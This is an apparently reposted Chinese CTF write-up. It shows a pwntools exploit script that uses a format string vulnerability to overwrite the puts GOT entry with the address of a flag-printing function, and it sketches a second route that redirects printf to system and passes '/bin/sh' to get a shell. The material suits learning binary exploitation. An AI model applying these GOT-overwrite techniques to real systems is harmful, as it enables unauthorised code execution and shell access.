字符串格式化漏洞修改GOT表一例
生活随笔
收集整理的這篇文章主要介紹了
字符串格式化漏洞修改GOT表一例
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
代碼如下:
from pwn import * context(arch='amd64', os='linux') elf = ELF("./pwn") io = remote("111.200.241.244", 56315) catflag_addr = 0x4008DA puts_got = elf.got['puts'] payload = fmtstr_payload(6, {puts_got: catflag_addr}) io.recvuntil("3. Exit the battle") io.sendline("2") io.sendline(payload) io.interactive()原理是在0x4008DA這個地址有一個函數是直接system(“cat flag”)的,我們利用字符串格式化漏洞修改puts函數的GOT表,直接修改到上面這個黑客函數的地址,然后下一次調用puts的時候,就會直接進入黑客函數。
PLT表在運行時可能是只讀的,不可修改。
這個題目里面有一段代碼是scanf一個字符串,然后再把這個字符串printf出來,另一種利用方式是,修改printf函數的GOT表為system函數的地址,然后在scanf的時候直接輸入"/bin/sh",這樣就能直接拿到系統的shell。
總結
以上是生活随笔為你收集整理的字符串格式化漏洞修改GOT表一例的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 如何设计复用性较好的类?
- 下一篇: 64位传参利用方法LibcSearche